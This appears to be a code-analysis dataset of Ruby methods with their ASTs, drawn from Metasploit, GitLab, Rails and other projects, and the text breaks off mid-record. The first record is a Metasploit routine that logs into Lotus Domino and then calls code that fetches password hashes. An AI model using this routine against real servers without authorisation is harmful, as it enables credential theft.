{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/scanner/lotus/lotus_domino_hashes.rb","start_line":79,"raw_source":"def do_login(user = nil, pass = nil)\n    post_data = \"username=#{Rex::Text.uri_encode(user.to_s)}&password=#{Rex::Text.uri_encode(pass.to_s)}&RedirectTo=%2Fnames.nsf\"\n\n    begin\n      res = send_request_cgi({\n        'method' => 'POST',\n        'uri' => '/names.nsf?Login',\n        'data' => post_data\n      }, 20)\n\n      if res.nil?\n        print_error(\"#{peer} - Connection timed out\")\n        return\n      end\n\n      if res && res.code == 302\n        if res.get_cookies =~ /DomAuthSessId=(.*);(.*)/i\n          cookie = \"DomAuthSessId=#{$1}\"\n        elsif res.get_cookies =~ /LtpaToken=(.*);(.*)/i\n          cookie = \"LtpaToken=#{$1}\"\n        else\n          print_error(\"#{peer} - Lotus Domino - Unrecognized 302 response\")\n          return :abort\n        end\n        print_good(\"#{peer} - Lotus Domino - SUCCESSFUL authentication for '#{user}'\")\n        print_status(\"#{peer} - Lotus Domino - Getting password hashes\")\n        get_views(cookie, @uri)\n\n      elsif res && res.body.to_s =~ /names.nsf\\?Login/\n        print_error(\"#{peer} - Lotus Domino - Authentication error: failed to login as '#{user}'\")\n        return :abort\n\n      else\n        print_error(\"#{peer} - Lotus Domino - Unrecognized #{res.code} response\")\n        return :abort\n      end\n    rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout\n    rescue ::Timeout::Error, ::Errno::EPIPE\n    end\n  end","complexity_score":55.73,"ast_json":"{\"type\":\"def\",\"children\":[\"do_login\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"user\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"optarg\",\"children\":[\"pass\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"post_data\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"username=\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Text\"]},\"uri_encode\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"to_s\"]}]}]},{\"type\":\"str\",\"children\":[\"&password=\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Text\"]},\"uri_encode\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pass\"]},\"to_s\"]}]}]},{\"type\":\"str\",\"children\":[\"&RedirectTo=%2Fnames.nsf\"]}]}]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"send_request_cgi\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"method\"]},{\"type\":\"str\",\"children\":[\"POST\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"str\",\"children\":[\"/names.nsf?Login\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"data\"]},{\"type\":\"lvar\",\"children\":[\"post_data\"]}]}]},{\"type\":\"int\",\"children\":[20]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"nil?\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"peer\"]}]},{\"type\":\"str\",\"children\":[\" - Connection timed out\"]}]}]},{\"type\":\"return\",\"children\":[]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"code\"]},\"==\",{\"type\":\"int\",\"children\":[302]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"get_cookies\"]},\"=~\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"DomAuthSessId=(.*);(.*)\"]},{\"type\":\"regopt\",\"children\":[\"i\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"cookie\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"DomAuthSessId=\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"nth_ref\",\"children\":[1]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"get_cookies\"]},\"=~\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"LtpaToken=(.*);(.*)\"]},{\"type\":\"regopt\",\"children\":[\"i\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"cookie\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"LtpaToken=\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"nth_ref\",\"children\":[1]}]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"peer\"]}]},{\"type\":\"str\",\"children\":[\" - Lotus Domino - Unrecognized 302 response\"]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"sym\",\"children\":[\"abort\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"print_good\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"peer\"]}]},{\"type\":\"str\",\"children\":[\" - Lotus Domino - SUCCESSFUL authentication for '\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]}]},{\"type\":\"str\",\"children\":[\"'\"]}]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"peer\"]}]},{\"type\":\"str\",\"children\":[\" - Lotus Domino - Getting password hashes\"]}]}]},{\"type\":\"send\",\"children\":[null,\"get_views\",{\"type\":\"lvar\",\"children\":[\"cookie\"]},{\"type\":\"ivar\",\"children\":[\"@uri\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"body\"]},\"to_s\"]},\"=~\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"names.nsf\\\\?Login\"]},{\"type\":\"regopt\",\"children\":[]}]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"peer\"]}]},{\"type\":\"str\",\"children\":[\" - Lotus Domino - Authentication error: failed to login as '\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]}]},{\"type\":\"str\",\"children\":[\"'\"]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"sym\",\"children\":[\"abort\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"peer\"]}]},{\"type\":\"str\",\"children\":[\" - Lotus Domino - Unrecognized \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"code\"]}]},{\"type\":\"str\",\"children\":[\" response\"]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"sym\",\"children\":[\"abort\"]}]}]}]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Rex\"]},\"ConnectionRefused\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Rex\"]},\"HostUnreachable\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Rex\"]},\"ConnectionTimeout\"]}]},null,null]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Timeout\"]},\"Error\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Errno\"]},\"EPIPE\"]}]},null,null]},null]}]}]}]}","id":"029ccb1b-23cc-411b-89cd-28f47fc355ce"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/ci/register_job_service.rb","start_line":160,"raw_source":"def process_build(build, params, queue_size:, queue_depth:)\n      return remove_from_queue!(build) unless build.pending?\n\n      if runner_matched?(build)\n        @metrics.increment_queue_operation(:build_can_pick)\n      else\n        @metrics.increment_queue_operation(:build_not_pick)\n\n        return\n      end\n\n      # Make sure that composite identity is propagated to `PipelineProcessWorker`\n      # when the build's status change.\n      ::Gitlab::Auth::Identity.link_from_job(build)\n\n      # In case when 2 runners try to assign the same build, second runner will be declined\n      # with StateMachines::InvalidTransition or StaleObjectError when doing run! or save method.\n      if assign_runner_with_instrumentation!(build, params)\n        present_build_with_instrumentation!(build, queue_size: queue_size, queue_depth: queue_depth)\n      end\n    rescue ActiveRecord::StaleObjectError\n      # We are looping to find another build that is not conflicting\n      # It also indicates that this build can be picked and passed to runner.\n      # If we don't do it, basically a bunch of runners would be competing for a build\n      # and thus we will generate a lot of 409. This will increase\n      # the number of generated requests, also will reduce significantly\n      # how many builds can be picked by runner in a unit of time.\n      # In case we hit the concurrency-access lock,\n      # we still have to return 409 in the end,\n      # to make sure that this is properly handled by runner.\n      @metrics.increment_queue_operation(:build_conflict_lock)\n\n      ResultFactory.invalid\n    rescue StateMachines::InvalidTransition\n      @metrics.increment_queue_operation(:build_conflict_transition)\n\n      ResultFactory.invalid\n    rescue StandardError => ex\n      @metrics.increment_queue_operation(:build_conflict_exception)\n\n      # If an error (e.g. GRPC::DeadlineExceeded) occurred constructing\n      # the result, consider this as a failure to be retried.\n      scheduler_failure!(build)\n      track_exception_for_build(ex, build)\n\n      # skip, and move to next one\n      nil\n    end","complexity_score":23.5,"ast_json":"{\"type\":\"def\",\"children\":[\"process_build\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"build\"]},{\"type\":\"arg\",\"children\":[\"params\"]},{\"type\":\"kwarg\",\"children\":[\"queue_size\"]},{\"type\":\"kwarg\",\"children\":[\"queue_depth\"]}]},{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"build\"]},\"pending?\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[null,\"remove_from_queue!\",{\"type\":\"lvar\",\"children\":[\"build\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"runner_matched?\",{\"type\":\"lvar\",\"children\":[\"build\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@metrics\"]},\"increment_queue_operation\",{\"type\":\"sym\",\"children\":[\"build_can_pick\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@metrics\"]},\"increment_queue_operation\",{\"type\":\"sym\",\"children\":[\"build_not_pick\"]}]},{\"type\":\"return\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Gitlab\"]},\"Auth\"]},\"Identity\"]},\"link_from_job\",{\"type\":\"lvar\",\"children\":[\"build\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assign_runner_with_instrumentation!\",{\"type\":\"lvar\",\"children\":[\"build\"]},{\"type\":\"lvar\",\"children\":[\"params\"]}]},{\"type\":\"send\",\"children\":[null,\"present_build_with_instrumentation!\",{\"type\":\"lvar\",\"children\":[\"build\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"queue_size\"]},{\"type\":\"lvar\",\"children\":[\"queue_size\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"queue_depth\"]},{\"type\":\"lvar\",\"children\":[\"queue_depth\"]}]}]}]},null]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"StaleObjectError\"]}]},null,{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@metrics\"]},\"increment_queue_operation\",{\"type\":\"sym\",\"children\":[\"build_conflict_lock\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ResultFactory\"]},\"invalid\"]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"StateMachines\"]},\"InvalidTransition\"]}]},null,{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@metrics\"]},\"increment_queue_operation\",{\"type\":\"sym\",\"children\":[\"build_conflict_transition\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ResultFactory\"]},\"invalid\"]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"StandardError\"]}]},{\"type\":\"lvasgn\",\"children\":[\"ex\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@metrics\"]},\"increment_queue_operation\",{\"type\":\"sym\",\"children\":[\"build_conflict_exception\"]}]},{\"type\":\"send\",\"children\":[null,\"scheduler_failure!\",{\"type\":\"lvar\",\"children\":[\"build\"]}]},{\"type\":\"send\",\"children\":[null,\"track_exception_for_build\",{\"type\":\"lvar\",\"children\":[\"ex\"]},{\"type\":\"lvar\",\"children\":[\"build\"]}]},{\"type\":\"nil\",\"children\":[]}]}]},null]}]}","id":"b295429c-214d-46d7-84e2-9b08d15d20f2"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/backup/tasks/repositories.rb","start_line":10,"raw_source":"def initialize(progress:, options:, server_side_callable:)\n        @server_side_callable = server_side_callable\n\n        super(progress: progress, options: options)\n      end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"kwarg\",\"children\":[\"progress\"]},{\"type\":\"kwarg\",\"children\":[\"options\"]},{\"type\":\"kwarg\",\"children\":[\"server_side_callable\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@server_side_callable\",{\"type\":\"lvar\",\"children\":[\"server_side_callable\"]}]},{\"type\":\"super\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"progress\"]},{\"type\":\"lvar\",\"children\":[\"progress\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"options\"]},{\"type\":\"lvar\",\"children\":[\"options\"]}]}]}]}]}]}","id":"ac93334f-0e2d-44b7-85fd-02e04630c323"}
{"repo_name":"puma","file_path":"./repos/puma/test/test_out_of_band_server.rb","start_line":15,"raw_source":"def teardown\n    @oob_finished.broadcast\n    @app_finished.broadcast\n    @server&.stop true\n\n    @ios.each do |io|\n      begin\n        io.close if io.is_a?(IO) && !io.closed?\n      rescue\n      ensure\n        io = nil\n      end\n    end\n  end","complexity_score":15.0,"ast_json":"{\"type\":\"def\",\"children\":[\"teardown\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@oob_finished\"]},\"broadcast\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@app_finished\"]},\"broadcast\"]},{\"type\":\"csend\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@server\"]},\"stop\",{\"type\":\"true\",\"children\":[]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@ios\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"io\"]}]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"ensure\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"io\"]},\"is_a?\",{\"type\":\"const\",\"children\":[null,\"IO\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"io\"]},\"closed?\"]},\"!\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"io\"]},\"close\"]},null]},{\"type\":\"resbody\",\"children\":[null,null,null]},null]},{\"type\":\"lvasgn\",\"children\":[\"io\",{\"type\":\"nil\",\"children\":[]}]}]}]}]}]}]}","id":"e3db909d-8337-4839-b43e-b5c1b7866968"}
{"repo_name":"rails","file_path":"./repos/rails/activejob/test/cases/test_helper_test.rb","start_line":2179,"raw_source":"def test_queue_adapter_is_inline_adapter_because_it_is_set_on_the_job_class\n    assert_instance_of ActiveJob::QueueAdapters::InlineAdapter, InheritedJob.queue_adapter\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"test_queue_adapter_is_inline_adapter_because_it_is_set_on_the_job_class\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"assert_instance_of\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveJob\"]},\"QueueAdapters\"]},\"InlineAdapter\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"InheritedJob\"]},\"queue_adapter\"]}]}]}","id":"36ab22b3-9f16-4ace-88f8-31101a2e6fe4"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/handler/bind_aws_instance_connect.rb","start_line":246,"raw_source":"def ssh_hostname(tld = '.aws')\n    'serial-console.ec2-instance-connect.'+ datastore['REGION'] + tld\n  end","complexity_score":6.2,"ast_json":"{\"type\":\"def\",\"children\":[\"ssh_hostname\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"tld\",{\"type\":\"str\",\"children\":[\".aws\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"serial-console.ec2-instance-connect.\"]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"REGION\"]}]}]},\"+\",{\"type\":\"lvar\",\"children\":[\"tld\"]}]}]}","id":"522e1835-f6b5-46e5-b6bd-ffa9c2f16b35"}
{"repo_name":"forem","file_path":"./repos/forem/app/controllers/admin/user_queries_controller.rb","start_line":29,"raw_source":"def new\n      @user_query = UserQuery.new\n    end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"new\",{\"type\":\"args\",\"children\":[]},{\"type\":\"ivasgn\",\"children\":[\"@user_query\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UserQuery\"]},\"new\"]}]}]}","id":"d85f8abf-3c23-42ae-87e3-e80e2ff8e3c2"}
{"repo_name":"rails","file_path":"./repos/rails/actionpack/test/controller/redirect_test.rb","start_line":1042,"raw_source":"def test_simple_redirect\n      get :simple_redirect\n      assert_response :redirect\n      assert_equal \"http://test.host/module_test/module_redirect/hello_world\", redirect_to_url\n    end","complexity_score":4.2,"ast_json":"{\"type\":\"def\",\"children\":[\"test_simple_redirect\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"get\",{\"type\":\"sym\",\"children\":[\"simple_redirect\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_response\",{\"type\":\"sym\",\"children\":[\"redirect\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"http://test.host/module_test/module_redirect/hello_world\"]},{\"type\":\"send\",\"children\":[null,\"redirect_to_url\"]}]}]}]}","id":"07a59b44-f73b-478a-b276-8a50741301c7"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/relations_test.rb","start_line":1518,"raw_source":"def test_first_or_initialize_with_block\n    canary = Bird.create!(color: \"yellow\", name: \"canary\")\n    parrot = Bird.where(color: \"green\").first_or_initialize do |bird|\n      bird.name = \"parrot\"\n      bird.enable_count = true\n      assert_equal canary, Bird.find_by!(name: \"canary\")\n    end\n    assert_equal 1, parrot.total_count\n    assert_kind_of Bird, parrot\n    assert_not_predicate parrot, :persisted?\n    assert_predicate parrot, :valid?\n    assert_predicate parrot, :new_record?\n    assert_equal \"green\", parrot.color\n    assert_equal \"parrot\", parrot.name\n  end","complexity_score":22.1,"ast_json":"{\"type\":\"def\",\"children\":[\"test_first_or_initialize_with_block\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"canary\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Bird\"]},\"create!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"color\"]},{\"type\":\"str\",\"children\":[\"yellow\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"canary\"]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"parrot\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Bird\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"color\"]},{\"type\":\"str\",\"children\":[\"green\"]}]}]}]},\"first_or_initialize\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"bird\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"bird\"]},\"name=\",{\"type\":\"str\",\"children\":[\"parrot\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"bird\"]},\"enable_count=\",{\"type\":\"true\",\"children\":[]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"lvar\",\"children\":[\"canary\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Bird\"]},\"find_by!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"canary\"]}]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"int\",\"children\":[1]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"parrot\"]},\"total_count\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_kind_of\",{\"type\":\"const\",\"children\":[null,\"Bird\"]},{\"type\":\"lvar\",\"children\":[\"parrot\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_not_predicate\",{\"type\":\"lvar\",\"children\":[\"parrot\"]},{\"type\":\"sym\",\"children\":[\"persisted?\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_predicate\",{\"type\":\"lvar\",\"children\":[\"parrot\"]},{\"type\":\"sym\",\"children\":[\"valid?\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_predicate\",{\"type\":\"lvar\",\"children\":[\"parrot\"]},{\"type\":\"sym\",\"children\":[\"new_record?\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"green\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"parrot\"]},\"color\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"parrot\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"parrot\"]},\"name\"]}]}]}]}","id":"6b51f590-c7b3-4a25-99ef-abc4a010595e"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/services/project_phases/reschedule_service.rb","start_line":78,"raw_source":"def reschedule_partial_phase_and_retrieve_next_start(phase, from)\n      phase.start_date = calculate_start_date(from)\n      next_start_date = phase.start_date\n\n      if phase.finish_date?\n        phase.finish_date = calculate_finish_date(phase, from)\n        phase.duration = phase.calculate_duration\n        # The phase's date range is complete now, and 1 day gap should follow it.\n        next_start_date = phase.finish_date + 1\n      end\n\n      phase.save\n\n      next_start_date\n    end","complexity_score":15.95,"ast_json":"{\"type\":\"def\",\"children\":[\"reschedule_partial_phase_and_retrieve_next_start\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"phase\"]},{\"type\":\"arg\",\"children\":[\"from\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"phase\"]},\"start_date=\",{\"type\":\"send\",\"children\":[null,\"calculate_start_date\",{\"type\":\"lvar\",\"children\":[\"from\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"next_start_date\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"phase\"]},\"start_date\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"phase\"]},\"finish_date?\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"phase\"]},\"finish_date=\",{\"type\":\"send\",\"children\":[null,\"calculate_finish_date\",{\"type\":\"lvar\",\"children\":[\"phase\"]},{\"type\":\"lvar\",\"children\":[\"from\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"phase\"]},\"duration=\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"phase\"]},\"calculate_duration\"]}]},{\"type\":\"lvasgn\",\"children\":[\"next_start_date\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"phase\"]},\"finish_date\"]},\"+\",{\"type\":\"int\",\"children\":[1]}]}]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"phase\"]},\"save\"]},{\"type\":\"lvar\",\"children\":[\"next_start_date\"]}]}]}","id":"095539c2-9729-4bf5-a2d2-3a5c45ccfb85"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/controllers/oauth/dynamic_registrations_controller.rb","start_line":13,"raw_source":"def create\n      client_metadata = Gitlab::Json.parse(request.body.read).symbolize_keys\n\n      allowed_params = [:redirect_uris, :client_name]\n\n      client_metadata = client_metadata.slice(*allowed_params)\n\n      # Validations here are specific to this controller, not the model\n      validation_error = validate_dynamic_fields(client_metadata)\n      if validation_error\n        render json: validation_error, status: :bad_request\n        return\n      end\n\n      # All dynamically created OAuth applications can only\n      # create mcp scoped access tokens. Disregard any other requests.\n      scopes = \"mcp\"\n\n      redirect_uris = client_metadata[:redirect_uris]\n      redirect_uris = [redirect_uris] if redirect_uris.is_a?(String)\n\n      application = ::Authn::OauthApplication.create(\n        name: \"[Unverified Dynamic Application] #{client_metadata[:client_name]}\",\n        redirect_uri: Array(redirect_uris).join(\"\\n\"),\n        scopes: scopes,\n        confidential: false,\n        dynamic: true\n      )\n\n      if application.persisted?\n        render json: {\n          client_id: application.uid,\n          client_id_issued_at: application.created_at.to_i,\n          redirect_uris: application.redirect_uri.split(\"\\n\"),\n          token_endpoint_auth_method: \"none\",\n          grant_types: [\"authorization_code\"],\n          require_pkce: true,\n          client_name: application.name,\n          scope: scopes,\n          dynamic: true\n        }, status: :created\n      else\n        error_message = application.errors.full_messages.join(\", \")\n\n        render json: {\n          error: \"invalid_client_metadata\",\n          error_description: error_message\n        }, status: :bad_request\n      end\n    